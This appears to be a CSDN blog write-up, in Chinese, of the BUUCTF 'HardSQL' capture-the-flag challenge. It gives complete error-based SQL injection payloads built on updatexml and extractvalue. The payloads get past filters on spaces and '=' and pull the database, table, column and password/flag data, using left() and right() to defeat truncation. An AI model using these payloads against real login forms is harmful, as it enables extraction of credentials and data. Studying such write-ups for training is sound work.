BUUFTC[极客大挑战 2019]HardSQL

本文详细介绍了SQL注入攻击的一种常见应用场景,通过利用updatexml和extractvalue函数进行报错注入,以获取数据库信息。展示了如何通过绕过过滤机制,如使用()绕过空格,like绕过=,并利用left()和right()函数解决数据截断问题,最终拼接完整flag。同时,对比了updatexml和extractvalue两种报错注入的区别。
摘要由CSDN通过智能技术生成

手工测试发现and,空格,=,union都过滤掉了,这里我们可以用()来绕过空格,like绕过=。使用updatexml或者extractvalue报错注入。

updataxml报错注入
爆数据库信息:?username=asd'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
爆出数据库:~geek~
爆表:?username=asd'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23&password=1
得到表名:H4rDsq1
爆列名:?username=asd'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1
得到列名:id,username,password
查数据:?username=asd'or(updatexml(1,concat(0x7e,(select(group_concat(id,0x7e,username,0x7e,password))from(H4rDsq1)),0x7e),1))%23&password=1
得到数据:~1~flag~flag{03e736ec-7225-4345-
发现flag被截胡了,可以用left()right()来查一半再来拼接
payload:?username=asd'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=1

?username=asd'or(updatexml(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=1

再拼接就可以得到正确的flag了啦

extractvalue报错注入
payload:?username=asd'or(extractvalue(1,concat(0x7e,(select(group_concat(0x7e,password))from(H4rDsq1)))))%23&password=1
与updatexml报错注入相比,extractvalue只需要两个参数,所以只需要将updatexml第三个参数删去即可。

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值